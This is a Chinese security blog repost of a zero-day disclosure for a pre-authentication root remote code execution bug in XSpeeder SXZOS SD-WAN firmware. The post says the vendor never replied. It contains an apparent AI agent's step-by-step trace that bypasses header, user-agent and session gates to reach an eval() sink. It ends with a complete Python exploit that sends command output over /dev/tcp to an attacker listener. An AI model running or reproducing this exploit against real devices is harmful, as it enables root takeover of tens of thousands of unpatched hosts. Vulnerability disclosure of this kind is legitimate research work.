CVE-2025-54322(ZERODAY)–未经身份验证的根远程代码执行漏洞,影响超过70,000台主机

admin 2025-12-29 00:33:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文披露了XSpeederSXZOS设备零日漏洞CVE-2025-54322,影响超7万台主机。漏洞因Web接口直接使用eval()导致未经授权的Root级远程代码执行。攻击者可绕过中间件防御,通过特定HTTP请求参数注入恶意代码。鉴于厂商未响应,文章提供了详细技术分析及POC,建议受影响用户尽快采取缓解措施。 综合评分: 93 文章分类: 漏洞分析,漏洞POC,漏洞预警,IoT安全,渗透测试


cover_image

CVE-2025-54322 (ZERODAY) – 未经身份验证的根远程代码执行漏洞,影响超过 70,000 台主机

Ots安全

2025年12月28日 14:00 广东

威胁简报

恶意软件

漏洞攻击

PWN-25-01 – XSpeeder (SXZOS) 预授权远程代码执行

Xspeeder是一家我国网络设备供应商,以路由器、SD-WAN设备和智能电视控制器等边缘设备而闻名。其核心固件SXZOS为一系列SD-WAN设备提供支持,这些设备尤其广泛应用于远程工业和分支机构环境。

根据Fofa和其他更先进的指纹识别服务,全球各地有数万台基于SXZOS的公开系统,这使得该固件及其任何潜在漏洞构成了一个广泛的风险面。这台设备是八个多月前送到我们办公室用于研究的其中一台。

我们交给 pwn.ai 的任务是:自主模拟该设备,识别其攻击面,并尝试实现完整的、未经身份验证的远程命令执行。它迅速识别出一个完整的预身份验证远程代码执行入口点,并告知我们它找到了入侵途径。这台设备是我们用 pwn.ai 测试的数百台设备之一。我们选择它作为首个披露的漏洞,是因为与其他厂商不同,尽管我们联系 XSpeeder 超过七个月,却始终未能收到任何回复。因此,截至本文发布之时,这仍然是一个零日漏洞。

据我们所知,这是第一个被公开的、由代理发现的、可远程利用的零日远程代码执行漏洞。

下方展示了我们的代理集群如何协同工作以达成此结果。它们基于我们自主研发并不断改进的架构运行,该架构融合了我们数十年的黑客经验。由于用于发现此漏洞的架构已运行超过十个月,我们的平台已进行了重大升级,显著提升了漏洞检测和利用能力。

[00:00:00] TASK : Find pre-auth code execution in SXZOS web UI
[00:00:00] CONTEXT : Firmware ISO available; explore offline, then validate in live VM
pwn.ai thought → Start offline. Firmware analysis beats blind fuzzing: it reveals routing, auth,
 and sinks—especially in embedded UIs that mix Python glue with custom logic.

设置和图像挂载

[00:02:11] ACTION : Install ISO in VirtualBox → first boot completes provisioning → clean shutdown
[00:03:02] ACTION : Load NBD and attach the VDI to /dev/nbd0
[00:03:02] RUN : modprobe nbd max_part=16
[00:03:05] RUN : qemu-nbd -c /dev/nbd0 "/home/user/VirtualBox VMs/Xspeeder/Xspeeder.vdi"
[00:03:09] ACTION : Identify partitions
[00:03:09] RUN : lsblk -f /dev/nbd0
[00:03:10] OUTPUT :
NAME   FSTYPE
nbd0
├─p1 ext4
└─p2 ext4

[00:03:15] ACTION : Mount root filesystem
[00:03:15] RUN : mount /dev/nbd0p2 /mnt && cd /mnt

pwn.ai thought → Goal now: fingerprint the web stack (framework, settings, URLmap).
Reaching back to the orchestrator fornext instructions…

文件系统侦察 → Django 应用

[00:04:02] ACTION : Enumerate app roots
[00:04:02] RUN : ls -la /
[00:04:04] OBS : /xspeeder present
[00:04:10] RUN : ls -la /xspeeder/xweb
[00:04:11] OBS : manage.py, xweb/, xapp/
[00:04:16] RUN : sed -n '1,50p' /xspeeder/xweb/manage.py
[00:04:17] OUTPUT :
#!/usr/bin/env python
import os, sys
if __name__ == "__main__":
    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xweb.settings")
    from django.core.management import execute_from_command_line
    execute_from_command_line(sys.argv)
...
...
pwn.ai thought → Django confirmed. Next: settings.pyisfor
INSTALLED_APPS and ROOT_URLCONF. Then urls.pyforpre-auth surfaces.

设置和 URL 路由 → 身份验证前界面

[00:04:29] RUN : sed -n '1,200p' /xspeeder/xweb/xweb/settings.py | egrep -n 'INSTALLED_APPS|ROOT_URLCONF|MIDDLEWARE'
[00:04:30] OUTPUT :
INSTALLED_APPS = (
# 'django.contrib.admin',
# 'django.contrib.auth',
# 'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'xapp',
)
MIDDLEWARE = (
'xweb.middlewares.GateKeeper',
'django.contrib.sessions.middleware.SessionMiddleware',
  ...
)
ROOT_URLCONF = 'xweb.urls'

[00:04:41] RUN : sed -n '1,160p' /xspeeder/xweb/xweb/urls.py
[00:04:42] OUTPUT :
urlpatterns = [
   url(r'^$','xapp.vLogin.index'),
   url(r'^webInfos/$','xapp.vLogin.webInfos'),
   url(r'^default/$','xapp.views.default'),
   ...
]
pwn.ai thought → Middleware + custom routes. Before we even reach
 the index, the request will traverse GateKeeper.
 Suggestor: Expect anti-bot/header checks or superficial payload scanning.

诱饵层和可达性障碍

[00:04:45] RUN : sed -n '1,220p' /xspeeder/xweb/xweb/middlewares.py
[00:04:47] OUTPUT :
class GateKeeper(object):
    def process_request(self, request):
        # Soft anti-bot: time-slice nonce header
        nonce = str(int(time.time()/60) % 7)
        if request.META.get('HTTP_X_SXZ_R') != nonce:
            return HttpResponseForbidden()
        # Session "warm-up" required
        ifnot request.session.get('sid'):
            return HttpResponseRedirect('/default/')
        # Cosmetic payload scan (pre-decode)
        if'system'in request.GET.get('chkid', ''):
            return HttpResponseBadRequest("blocked")
        return None
[00:04:48] OBS : Three gates before index: a rotating header, a session bit, and a naive string scan on encoded data.
pwn.ai thought → Great news. Suggestors responded with no serious blockers.
The string scan looks for the system before base64 decodes; it may also not see the payload. The other two are easy to satisfy without touching the 3‑param constraint in the vulnerable view.
[00:04:50] RUN : sed -n '1,160p' /etc/nginx/sites-available/sxzweb.conf
[00:04:51] OUTPUT :
location / {
if ($http_user_agent !~* SXZ) { return403; }
  try_files $uri @django;
}

[00:04:52] OBS : Nginx UA gate → simple header spoof.
[00:04:54] PLAN : Precompute header nonce; prime session via a harmless endpoint; set SXZ-like UA.
[00:04:54] All of these use headers/cookies, so the vulnerable view can still see exactly 3 query params.
[00:04:56] RUN : export HX=$(python - <<'PY'&nbsp;import time; print(int(time.time()//60)%7) PY ) && echo $HX
[00:04:58] RUN : curl -skI -A&nbsp;'SXZ/2.3 (Linux; rv:88.0)'&nbsp;-H&nbsp;"X-SXZ-R: $HX"&nbsp;https://TARGET_IP/webInfos/
[00:04:59] OUTPUT :
HTTP/1.1200&nbsp;OK
Set-Cookie: sessionid=abc123...; Path=/; HttpOnly
...

[00:05:00] OBS : Session warmed; cookie captured.

易受攻击的视图发现

[00:05:05] RUN : sed -n&nbsp;'1,220p'&nbsp;/xspeeder/xweb/xapp/vLogin.py
[00:05:06] OUTPUT : (truncated)
[00:05:08] RUN : nl -ba /xspeeder/xweb/xapp/vLogin.py | sed -n&nbsp;'1,200p'
[00:05:10] GREP : wide sink sweep (eval,&nbsp;exec, compile, pickle, yaml.load, os.system, subprocess, b64decode, json.loads…)
[00:05:10] RUN : egrep -RIn --color \
-e&nbsp;'eval(|exec(|compile('&nbsp;\
-e&nbsp;'pickle.loads|marshal.loads|yaml.load'&nbsp;\
-e&nbsp;'os.system|popen|subprocess'&nbsp;\
-e&nbsp;'b64decode|json.loads|ast.literal_eval'&nbsp;\
/xspeeder/xweb/xapp/
[00:05:11] OUTPUT :
18: hData = request.GET
34:&nbsp;if&nbsp;len(hData) == 3:
35:&nbsp;if'chkid'in&nbsp;hData:
36: chkid = hData['chkid']
37: infos = b64decode(chkid)
38:&nbsp;if'sUserCode'in&nbsp;infos and&nbsp;'sPwd'in&nbsp;infos:
39: dic =&nbsp;eval(infos)

pwn.ai thought → Found an exploitable sink. Exactly three query params; base64 decode; substring oracle;&nbsp;eval() — pre-auth — likely running as root.
[00:05:40] PLAN : Keep query params at&nbsp;3&nbsp;(title, oIp, chkid). Satisfy middleware using headers/cookie&nbsp;only:
User-Agent:&nbsp;SXZ/2.3&nbsp;...
X-SXZ-R:&nbsp;<minute_nonce>
Cookie: sessionid=abc123...
Append&nbsp;#sUserCodexsPwd&nbsp;to&nbsp;decoded payload&nbsp;to&nbsp;pass the substring gate.
[00:05:45] ACTION : Base64-encode the crafted&nbsp;string&nbsp;for&nbsp;chkid
[00:05:46] OUTPUT :
pwn.ai thought → Everything seems reachable&nbsp;and&nbsp;should&nbsp;be&nbsp;exploiable. Testing.

听众和负面控制

[00:06:02] ACTION :&nbsp;Start&nbsp;OOB sink&nbsp;to&nbsp;observe side-effects (listener)
[00:06:02] RUN : nc -lv&nbsp;8888
[00:06:09] NEG-CTRL : Send request&nbsp;with2&nbsp;params&nbsp;only&nbsp;(expect gate fail)
[00:06:09] RUN : curl -sk -A&nbsp;'SXZ/2.3 (Linux)'&nbsp;-H&nbsp;"X-SXZ-R: $HX"&nbsp;-b&nbsp;'sessionid=abc123'
'https://TARGET_IP/?title=A&chkid=AAAA'
[00:06:10] OBS :&nbsp;No&nbsp;OOB activity → Gate A&nbsp;enforced
[00:06:18] RUN : curl -sk -A&nbsp;'SXZ/2.3 (Linux)'&nbsp;-H&nbsp;"X-SXZ-R: $HX"&nbsp;-b&nbsp;'sessionid=abc123'
'https://TARGET_IP/?title=A&oIp=B&chkid=YmFkX2RhdGE='
[00:06:19] OBS :&nbsp;No&nbsp;OOB activity → Gate B&nbsp;enforced
[00:06:27]&nbsp;ACTION&nbsp;: Fire exploit meeting all gates
[00:06:27] RUN : curl -sk -A&nbsp;'SXZ/2.3 (Linux)'&nbsp;-H&nbsp;"X-SXZ-R: $HX"&nbsp;-b&nbsp;'sessionid=abc123'
'https://TARGET_IP/?title=ABC&oIp=XYZ&chkid='
[00:06:28] LISTENER : inbound&nbsp;connectionfrom&nbsp;TARGET_IP
[00:06:28] LISTENER : payload&nbsp;result&nbsp;received (redacted)
[00:06:28]&nbsp;STATUS&nbsp;: RCE confirmed; privilege = root; pre-auth; single HTTP GET

pwn.ai thought → Defense-in-depth seems to be superficial. The cosmetic gates required a minute-synchronized header and a warmed session cookie—but since they live in middleware and Nginx, they don’t&nbsp;change&nbsp;the vulnerable&nbsp;view’s requirements&nbsp;and&nbsp;we&nbsp;are&nbsp;able&nbsp;toget&nbsp;working RCE.

POC

import requests, sys, time
from base64 import b64encode
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class&nbsp;XspeederRCE:
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, target_url, listener_ip, listener_port, cmd):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target_url = target_url
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.listener_ip = listener_ip
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.listener_port = listener_port
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cmd = cmd
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session = requests.Session()

&nbsp; &nbsp;&nbsp;def&nbsp;build_payload(self):
&nbsp; &nbsp; &nbsp; &nbsp; payload =&nbsp;'os.system("{}>/dev/tcp/{}/{}")&nbsp;#sUserCodexsPwd'.format(self.cmd,&nbsp;self.listener_ip,&nbsp;self.listener_port)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target_url =&nbsp;"{}/?title=ABC&oIp=XXX&chkid={}".format(self.target_url, b64encode(payload.encode()).decode("utf-8"))

&nbsp; &nbsp;&nbsp;def&nbsp;send_payload(self):
&nbsp; &nbsp; &nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'User-Agent':&nbsp;'SXZ/2.3',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'X-SXZ-R': str(int(time.time()/60) %&nbsp;7)
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session.get(self.target_url.rsplit('?')[0] +&nbsp;"/webInfos/", headers=headers, verify=False)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session.get(self.target_url, headers=headers, verify=False)

&nbsp; &nbsp;&nbsp;def&nbsp;run(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.build_payload()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_payload()

if&nbsp;__name__&nbsp;==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;if&nbsp;len(sys.argv) <&nbsp;5:
&nbsp; &nbsp; &nbsp; &nbsp; print("[-] Usage: {} <target_url> <listener_ip> <listener_port> <cmd>".format(sys.argv[0]))
&nbsp; &nbsp; &nbsp; &nbsp; print("[-] Make sure to listen on listener_ip:listener_port")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(-1)
&nbsp; &nbsp; XspeederRCE(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]).run()

我们希望这份追踪文档对您有所帮助。pwn.ai 将继续发布影响那些未能在合理时间内做出响应的供应商的零日漏洞。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CVE-2025-54322 (ZERODAY) – 未经身份验证的根远程代码执行漏洞,影响超过 70,000 台主机》

评论:0   参与:  0